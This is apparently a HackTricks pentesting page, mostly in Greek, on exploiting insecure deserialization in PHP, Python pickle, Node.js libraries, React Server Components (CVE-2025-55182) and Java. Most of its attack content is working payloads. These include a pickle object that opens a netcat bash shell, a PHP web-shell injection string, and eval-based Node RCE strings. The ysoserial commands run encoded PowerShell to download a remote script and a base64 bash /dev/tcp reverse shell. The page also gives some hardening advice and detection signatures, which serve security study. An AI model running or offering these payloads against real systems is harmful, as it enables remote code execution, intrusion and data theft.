Deserialization

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Serialization αναφέρεται ως η μέθοδος μετατροπής ενός αντικειμένου σε μια μορφή που μπορεί να διατηρηθεί, με σκοπό είτε την αποθήκευση του αντικειμένου είτε τη μετάδοσή του ως μέρος μιας επικοινωνίας. Αυτή η τεχνική χρησιμοποιείται συνήθως για να διασφαλιστεί ότι το αντικείμενο μπορεί να αναδημιουργηθεί αργότερα, διατηρώντας τη δομή και την κατάσταση του.

Deserialization, αντιθέτως, είναι η διαδικασία που αντιστρέφει τη Serialization. Περιλαμβάνει τη λήψη δεδομένων που έχουν μορφοποιηθεί σε συγκεκριμένη μορφή και την ανακατασκευή τους σε αντικείμενο.

Η Deserialization μπορεί να είναι επικίνδυνη επειδή ενδέχεται να επιτρέπει σε επιτιθέμενους να χειραγωγήσουν τα serialized δεδομένα για να εκτελέσουν κακόβουλο κώδικα ή να προκαλέσουν απρόβλεπτη συμπεριφορά στην εφαρμογή κατά τη διαδικασία ανακατασκευής του αντικειμένου.

PHP

Στο PHP, συγκεκριμένες magic methods χρησιμοποιούνται κατά τις διαδικασίες του serialization και της deserialization:

  • __sleep: Καλείται όταν ένα αντικείμενο βρίσκεται σε διαδικασία serialization. Αυτή η μέθοδος πρέπει να επιστρέφει έναν πίνακα με τα ονόματα όλων των ιδιοτήτων του αντικειμένου που πρέπει να serialized. Χρησιμοποιείται συνήθως για την αποθήκευση εκκρεμών δεδομένων ή για την εκτέλεση παρόμοιων εργασιών καθαρισμού.
  • __wakeup: Καλείται όταν ένα αντικείμενο βρίσκεται σε διαδικασία deserialization. Χρησιμοποιείται για την επαναφορά πιθανών συνδέσεων βάσης δεδομένων που ενδέχεται να χάθηκαν κατά τη διάρκεια του serialization και για την εκτέλεση άλλων εργασιών επανεκκίνησης.
  • __unserialize: Αυτή η μέθοδος καλείται αντί του __wakeup (αν υπάρχει) όταν ένα αντικείμενο βρίσκεται σε διαδικασία deserialization. Παρέχει μεγαλύτερο έλεγχο στη διαδικασία deserialization σε σύγκριση με το __wakeup.
  • __destruct: Αυτή η μέθοδος καλείται όταν ένα αντικείμενο πρόκειται να καταστραφεί ή όταν τελειώνει το script. Τυπικά χρησιμοποιείται για εργασίες καθαρισμού, όπως το κλείσιμο handles αρχείων ή συνδέσεων βάσης δεδομένων.
  • __toString: Αυτή η μέθοδος επιτρέπει σε ένα αντικείμενο να αντιμετωπίζεται ως συμβολοσειρά. Μπορεί να χρησιμοποιηθεί για ανάγνωση αρχείου ή άλλες εργασίες βασισμένες στις κλήσεις συναρτήσεων μέσα της, παρέχοντας ουσιαστικά μια κειμενική αναπαράσταση του αντικειμένου.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying to print some attribute, but apparently that’s not happening anymore.

Warning

Η μέθοδος __unserialize(array $data) καλείται αντί του __wakeup() αν υλοποιείται στην κλάση. Σας επιτρέπει να αποσειριοποιήσετε το αντικείμενο παρέχοντας τα σειριοποιημένα δεδομένα ως πίνακα. Μπορείτε να χρησιμοποιήσετε αυτή τη μέθοδο για να αποσειριοποιήσετε ιδιότητες και να εκτελέσετε οποιεσδήποτε απαραίτητες ενέργειες κατά την αποσειριοποίηση.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

You can read an explained PHP example here: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

You could abuse the PHP autoload functionality to load arbitrary php files and more:

PHP - Deserialization + Autoload Classes

Serializing Referenced Values

If for some reason you want to serialize a value as a reference to another value serialized you can:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Αποτροπή PHP Object Injection με allowed_classes

[!INFO] Η υποστήριξη για το δεύτερο όρισμα της unserialize() (τον πίνακα $options) προστέθηκε στην PHP 7.0. Σε παλαιότερες εκδόσεις η συνάρτηση δέχεται μόνο το σειριασμένο string, καθιστώντας αδύνατο να περιοριστεί ποιες κλάσεις μπορούν να δημιουργηθούν.

unserialize() θα δημιουργεί αντικείμενα για κάθε κλάση που βρει μέσα στη σειριασμένη ροή, εκτός αν υποδειχθεί διαφορετικά. Από την PHP 7 η συμπεριφορά μπορεί να περιοριστεί με την επιλογή allowed_classes:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Αν allowed_classes παραλείπεται ή ο κώδικας τρέχει σε PHP < 7.0, η κλήση γίνεται επικίνδυνη, καθώς ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload που εκμεταλλεύεται μαγικές μεθόδους όπως __wakeup() ή __destruct() για να επιτύχει Remote Code Execution (RCE).

Πραγματικό παράδειγμα: Everest Forms (WordPress) CVE-2025-52709

Το plugin του WordPress Everest Forms ≤ 3.2.2 προσπάθησε να προστατευτεί με έναν helper wrapper αλλά ξέχασε τις παλαιότερες εκδόσεις PHP:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Σε διακομιστές που εξακολουθούσαν να τρέχουν PHP ≤ 7.0 αυτός ο δεύτερος κλάδος οδηγούσε σε κλασικό PHP Object Injection όταν ένας διαχειριστής άνοιγε μια κακόβουλη υποβολή φόρμας. Ένα ελάχιστο exploit payload θα μπορούσε να μοιάζει με:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Μόλις ο admin είδε την εγγραφή, το αντικείμενο δημιουργήθηκε και εκτελέστηκε το SomeClass::__destruct(), resulting in arbitrary code execution.

Σημαντικά σημεία

  1. Να περνάτε πάντα ['allowed_classes' => false] (ή αυστηρή white-list) όταν καλείτε unserialize().
  2. Ελέγξτε defensive wrappers – συχνά ξεχνούν τις legacy PHP branches.
  3. Η αναβάθμιση σε PHP ≥ 7.x μόνη της δεν είναι αρκετή: η επιλογή πρέπει να δοθεί ρητά.

PHPGGC (ysoserial for PHP)

PHPGGC μπορεί να σας βοηθήσει να δημιουργήσετε payloads για να καταχραστείτε PHP deserializations.
Σημειώστε ότι σε αρκετές περιπτώσεις δεν θα μπορέσετε να βρείτε τρόπο να καταχραστείτε μια deserialization στον πηγαίο κώδικα της εφαρμογής, αλλά ίσως να μπορείτε να καταχραστείτε τον κώδικα εξωτερικών PHP extensions.
Επομένως, αν μπορείτε, ελέγξτε το phpinfo() του server και αναζητήστε στο διαδίκτυο (και ακόμη και στα gadgets του PHPGGC) κάποια πιθανά gadget που θα μπορούσατε να καταχραστείτε.

phar:// metadata deserialization

Αν έχετε βρει ένα LFI που απλώς διαβάζει το αρχείο και δεν εκτελεί τον php κώδικα μέσα σε αυτό, για παράδειγμα χρησιμοποιώντας συναρτήσεις όπως file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Μπορείτε να προσπαθήσετε να καταχραστείτε μια deserialization που εμφανίζεται όταν διαβάζετε ένα file χρησιμοποιώντας το phar protocol.
Για περισσότερες πληροφορίες διαβάστε το παρακάτω post:

phar:// deserialization

Python

Pickle

Όταν το αντικείμενο γίνεται unpickle, η συνάρτηση ___reduce___ θα εκτελεστεί.
Σε περίπτωση εκμετάλλευσης, ο server μπορεί να επιστρέψει σφάλμα.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Πριν ελέγξετε την τεχνική bypass, δοκιμάστε να χρησιμοποιήσετε print(base64.b64encode(pickle.dumps(P(),2))) για να δημιουργήσετε ένα αντικείμενο που είναι συμβατό με python2 αν τρέχετε python3.

Για περισσότερες πληροφορίες σχετικά με τη διαφυγή από τα pickle jails δείτε:

Bypass Python sandboxes

Yaml & jsonpickle

Η παρακάτω σελίδα παρουσιάζει την τεχνική για abuse an unsafe deserialization in yamls python libraries και ολοκληρώνεται με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για τη δημιουργία RCE deserialization payload για Pickle, PyYAML, jsonpickle and ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

Το JS δεν έχει “magic” functions όπως το PHP ή το Python που εκτελούνται απλώς με τη δημιουργία ενός αντικειμένου. Αλλά έχει μερικές functions που χρησιμοποιούνται συχνά ακόμη και χωρίς να κληθούν άμεσα, όπως οι toString, valueOf, toJSON.
Αν, κατά την εκμετάλλευση μιας deserialization, μπορείτε να compromise αυτές τις functions ώστε να εκτελέσουν άλλο κώδικα (potentially abusing prototype pollutions), θα μπορούσατε να εκτελέσετε arbitrary code όταν κληθούν.

Μια άλλη “magic” μέθοδος για να καλέσετε μια function χωρίς να την καλέσετε άμεσα είναι να compromise ένα object που επιστρέφεται από ένα async function (promise). Διότι, αν transform το return object σε μια άλλη promise με ένα property που ονομάζεται “then” του τύπου function, αυτό θα εκτελεστεί απλώς επειδή επιστρέφεται από άλλη promise. Ακολουθήστε this link για περισσότερες πληροφορίες.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ και prototype pollution

Αν θέλετε να μάθετε για αυτήν την τεχνική ρίξτε μια ματιά στον ακόλουθο οδηγό:

NodeJS - proto & prototype Pollution

node-serialize

Αυτή η βιβλιοθήκη επιτρέπει τη σειριοποίηση συναρτήσεων. Παράδειγμα:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Το σειριοποιημένο αντικείμενο θα μοιάζει ως εξής:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Μπορείτε να δείτε στο παράδειγμα ότι όταν μια συνάρτηση σειριοποιείται, η σημαία _$$ND_FUNC$$_ προστίθεται στο σειριοποιημένο αντικείμενο.

Μέσα στο αρχείο node-serialize/lib/serialize.js μπορείτε να βρείτε την ίδια σημαία και πώς ο κώδικας τη χρησιμοποιεί.

Όπως φαίνεται στο τελευταίο κομμάτι κώδικα, εάν βρεθεί η σημαία χρησιμοποιείται το eval για να αποσειριοποιήσει τη συνάρτηση, οπότε ουσιαστικά η είσοδος χρήστη χρησιμοποιείται μέσα στη συνάρτηση eval.

Ωστόσο, απλώς σειριοποιώντας μια συνάρτηση δεν θα την εκτελέσει, καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να καλεί την y.rce στο παράδειγμά μας και αυτό είναι εξαιρετικά απίθανο.
Πάντως, μπορείτε απλά να τροποποιήσετε το σειριοποιημένο αντικείμενο προσθέτοντας κάποιες παρενθέσεις ώστε η σειριοποιημένη συνάρτηση να εκτελεστεί αυτόματα όταν το αντικείμενο αποσειριοποιηθεί.
Στο επόμενο κομμάτι κώδικα προσέξτε την τελευταία παρένθεση και πώς η συνάρτηση unserialize θα εκτελέσει αυτόματα τον κώδικα:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το _$$ND_FUNC$$_ και θα τον εκτελέσει χρησιμοποιώντας eval. Επομένως, για να auto-execute code μπορείτε να delete the function creation part και την τελευταία παρένθεση και just execute a JS oneliner όπως στο παρακάτω παράδειγμα:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Μπορείτε να find here περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια.

funcster

Ένα αξιοσημείωτο χαρακτηριστικό του funcster είναι η μη προσβασιμότητα των τυπικών ενσωματωμένων αντικειμένων· αυτά βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός αποτρέπει την εκτέλεση κώδικα που επιχειρεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως “ReferenceError: console is not defined” όταν χρησιμοποιούνται εντολές όπως console.log() ή require(something).

Παρά αυτόν τον περιορισμό, η επαναφορά πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Με την απευθείας χρήση του παγκόσμιου πλαισίου, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το ακόλουθο απόσπασμα:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Για more information read this source.

serialize-javascript

Το πακέτο serialize-javascript έχει σχεδιαστεί αποκλειστικά για σκοπούς serialization, χωρίς ενσωματωμένες δυνατότητες deserialization. Οι χρήστες είναι υπεύθυνοι να υλοποιήσουν τη δική τους μέθοδο για deserialization. Στο επίσημο παράδειγμα προτείνεται η άμεση χρήση του eval για deserializing serialized data:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Αν αυτή η συνάρτηση χρησιμοποιείται για να deserialize αντικείμενα, μπορείτε εύκολα να την exploit:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Για more information read this source.

Βιβλιοθήκη Cryo

Στις ακόλουθες σελίδες μπορείτε να βρείτε πληροφορίες για το πώς να καταχραστείτε αυτή τη βιβλιοθήκη για να εκτελέσετε αυθαίρετες εντολές:

React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)

React Server Components (RSC) βασίζονται στο react-server-dom-webpack (RSDW) για να αποκωδικοποιούν server action submissions που αποστέλλονται ως multipart/form-data. Κάθε υποβολή action περιέχει:

  • $ACTION_REF_<n> μέρη που αναφέρουν το action που καλείται.
  • $ACTION_<n>:<m> μέρη των οποίων το σώμα είναι JSON όπως {"id":"module-path#export","bound":[arg0,arg1,...]}.

Στην έκδοση 19.2.0 ο helper decodeAction(formData, serverManifest) εμπιστεύεται άκριτα τόσο την id συμβολοσειρά (επιλέγοντας ποιο module export θα καλέσει) όσο και τον bound πίνακα (τα επιχειρήματα). Εάν ένας επιτιθέμενος μπορεί να φτάσει στο endpoint που προωθεί αιτήματα προς το decodeAction, μπορεί να επικαλεστεί οποιοδήποτε exported server action με παραμέτρους ελεγχόμενες από τον επιτιθέμενο ακόμη και χωρίς React front-end (CVE-2025-55182). Η συνταγή end-to-end είναι:

  1. Μάθετε το αναγνωριστικό του action. Το bundle output, error traces ή leaked manifests συνήθως αποκαλύπτουν συμβολοσειρές όπως app/server-actions#generateReport.
  2. Αναδημιουργήστε το multipart payload. Δημιουργήστε ένα μέρος $ACTION_REF_0 και ένα JSON σώμα $ACTION_0:0 που φέρει το αναγνωριστικό και αυθαίρετα επιχειρήματα.
  3. Αφήστε το decodeAction να το διαβιβάσει. Ο helper επιλύει το module από το serverManifest, εισάγει το export, και επιστρέφει ένα callable που ο server εκτελεί αμέσως.

Example payload hitting /formaction:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

Ή με curl:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

Ο πίνακας bound συμπληρώνει άμεσα τις παραμέτρους server-action. Στο ευάλωτο εργαστήριο το gadget φαίνεται ως:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.

Ο επιτιθέμενος δεν χρειάζεται ποτέ έναν πραγματικό React client—οποιοδήποτε HTTP εργαλείο που εκπέμπει το $ACTION_* multipart σχήμα μπορεί να καλέσει απευθείας server actions και να αλυσοδέσει την προκύπτουσα JSON έξοδο σε ένα RCE primitive.

Java - HTTP

Στην Java, τα callbacks απο-σειριοποίησης εκτελούνται κατά τη διαδικασία της απο-σειριοποίησης. Αυτή η εκτέλεση μπορεί να εκμεταλλευτεί από επιτιθέμενους που κατασκευάζουν κακόβουλα payloads που ενεργοποιούν αυτά τα callbacks, οδηγώντας σε πιθανή εκτέλεση επιβλαβών ενεργειών.

Υπογραφές

White Box

Για να εντοπίσετε πιθανές ευπάθειες σειριοποίησης στη βάση κώδικα, αναζητήστε:

  • Κλάσεις που υλοποιούν το interface Serializable.
  • Χρήση των java.io.ObjectInputStream, readObject, readUnshare λειτουργιών.

Δώστε επιπλέον προσοχή σε:

  • Τον XMLDecoder που χρησιμοποιείται με παραμέτρους ορισμένες από εξωτερικούς χρήστες.
  • Τη μέθοδο fromXML του XStream, ειδικά αν η έκδοση του XStream είναι μικρότερη ή ίση με 1.46, καθώς είναι επιρρεπής σε προβλήματα σειριοποίησης.
  • Το ObjectInputStream σε συνδυασμό με τη μέθοδο readObject.
  • Την υλοποίηση μεθόδων όπως readObject, readObjectNodData, readResolve, ή readExternal.
  • ObjectInputStream.readUnshared.
  • Γενική χρήση του Serializable.

Black Box

Για black box testing, αναζητήστε συγκεκριμένες υπογραφές ή “Magic Bytes” που δηλώνουν java serialized objects (που προέρχονται από ObjectInputStream):

  • Εξαδεκαδικό πρότυπο: AC ED 00 05.
  • Base64 πρότυπο: rO0.
  • HTTP headers με Content-type ρυθμισμένο σε application/x-java-serialized-object.
  • Εξαδεκαδικό πρότυπο που δείχνει προηγούμενη συμπίεση: 1F 8B 08 00.
  • Base64 πρότυπο που δείχνει προηγούμενη συμπίεση: H4sIA.
  • Web αρχεία με την επέκταση .faces και την παράμετρο faces.ViewState. Η ανακάλυψη αυτών των προτύπων σε μια web εφαρμογή θα πρέπει να οδηγήσει σε εξέταση όπως περιγράφεται στο post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Έλεγχος ευπάθειας

Αν θέλετε να μάθετε πώς λειτουργεί ένα Java Deserialized exploit θα πρέπει να ρίξετε μια ματιά στα Basic Java Deserialization, Java DNS Deserialization και CommonsCollection1 Payload.

SignedObject-gated deserialization και pre-auth προσβασιμότητα

Σύγχρονα codebases μερικές φορές περιβάλλουν τη deserialization με java.security.SignedObject και επαληθεύουν μια υπογραφή πριν καλέσουν getObject() (που απο-σειριοποιεί το εσωτερικό αντικείμενο). Αυτό αποτρέπει αυθαίρετες top-level gadget classes αλλά μπορεί να παραμένει εκμεταλλεύσιμο αν ένας attacker μπορέσει να αποκτήσει έγκυρη υπογραφή (π.χ., private-key compromise ή signing oracle). Επιπλέον, οι ροές error-handling μπορεί να δημιουργούν session-bound tokens για unauthenticated users, εκθέτοντας αλλιώς προστατευμένα sinks pre-auth.

Για μια συγκεκριμένη μελέτη περίπτωσης με requests, IoCs, και hardening guidance, δείτε:

Java Signedobject Gated Deserialization

White Box Test

Μπορείτε να ελέγξετε αν υπάρχει εγκατεστημένη κάποια εφαρμογή με γνωστές ευπάθειες.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Μπορείς να προσπαθήσεις να ελέγξεις όλες τις βιβλιοθήκες που είναι γνωστό ότι είναι ευάλωτες και για τις οποίες Ysoserial μπορεί να παρέχει exploit. Ή μπορείς να ελέγξεις τις βιβλιοθήκες που αναφέρονται στο Java-Deserialization-Cheat-Sheet.
Μπορείς επίσης να χρησιμοποιήσεις gadgetinspector για να αναζητήσεις πιθανές gadget chains που μπορούν να εκμεταλλευτούν.
Όταν τρέχεις gadgetinspector (μετά τη μεταγλώττισή του) μην δίνεις σημασία στις τόσες προειδοποιήσεις/σφάλματα που εμφανίζει και άφησέ το να τελειώσει. Θα γράψει όλα τα ευρήματα στο gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Παρακαλώ, σημείωσε ότι gadgetinspector δεν θα δημιουργήσει exploit και μπορεί να εμφανίσει false positives.

Black Box Test

Χρησιμοποιώντας την επέκταση του Burp gadgetprobe μπορείς να εντοπίσεις ποιες βιβλιοθήκες είναι διαθέσιμες (και ακόμα και τις εκδόσεις). Με αυτές τις πληροφορίες μπορεί να είναι πιο εύκολο να επιλέξεις ένα payload για να εκμεταλλευτείς την ευπάθεια.
Read this to learn more about GadgetProbe.
GadgetProbe εστιάζεται στις ObjectInputStream deserializations.

Χρησιμοποιώντας την επέκταση Burp Java Deserialization Scanner μπορείς να εντοπίσεις ευάλωτες βιβλιοθήκες εκμεταλλεύσιμες με ysoserial και να τις exploit.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner εστιάζεται στις ObjectInputStream deserializations.

Μπορείς επίσης να χρησιμοποιήσεις Freddy για να ανιχνεύσεις deserializations ευπάθειες στο Burp. Αυτό το plugin θα εντοπίσει όχι μόνο ευπάθειες σχετιζόμενες με ObjectInputStream αλλά επίσης ευπάθειες από βιβλιοθήκες deserialization για Json και Yml. Σε active mode, θα προσπαθήσει να τα επιβεβαιώσει χρησιμοποιώντας sleep ή DNS payloads.
You can find more information about Freddy here.

Serialization Test

Δεν πρόκειται πάντα μόνο για το να ελέγξεις αν κάποια ευάλωτη βιβλιοθήκη χρησιμοποιείται από τον server. Μερικές φορές μπορείς να αλλάξεις τα δεδομένα μέσα στο serialized object και να παρακάμψεις κάποιους ελέγχους (ίσως να σου παραχωρήσουν δικαιώματα admin μέσα σε μια webapp).
Αν βρεις ένα java serialized object να αποστέλλεται σε μια web εφαρμογή, μπορείς να χρησιμοποιήσεις SerializationDumper για να τυπώσεις με πιο ανθρώπινη και αναγνώσιμη μορφή το serialization object που αποστέλλεται. Το να γνωρίζεις ποια δεδομένα στέλνεις θα κάνει πιο εύκολο να τα τροποποιήσεις και να παρακάμψεις κάποιους ελέγχους.

Exploit

ysoserial

Το κύριο εργαλείο για την εκμετάλλευση Java deserializations είναι ysoserial (download here). Μπορείς επίσης να σκεφτείς να χρησιμοποιήσεις ysoseral-modified το οποίο θα σου επιτρέψει να εκτελείς σύνθετες εντολές (με pipes για παράδειγμα).
Σημείωσε ότι αυτό το εργαλείο εστιάζει στην εκμετάλλευση των ObjectInputStream.
Θα ξεκινούσα χρησιμοποιώντας το “URLDNS” payload πριν από ένα RCE payload για να ελέγξω αν η injection είναι δυνατή. Σε κάθε περίπτωση, σημείωσε ότι ίσως το “URLDNS” payload να μην λειτουργεί, ενώ κάποιο άλλο RCE payload να λειτουργεί.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
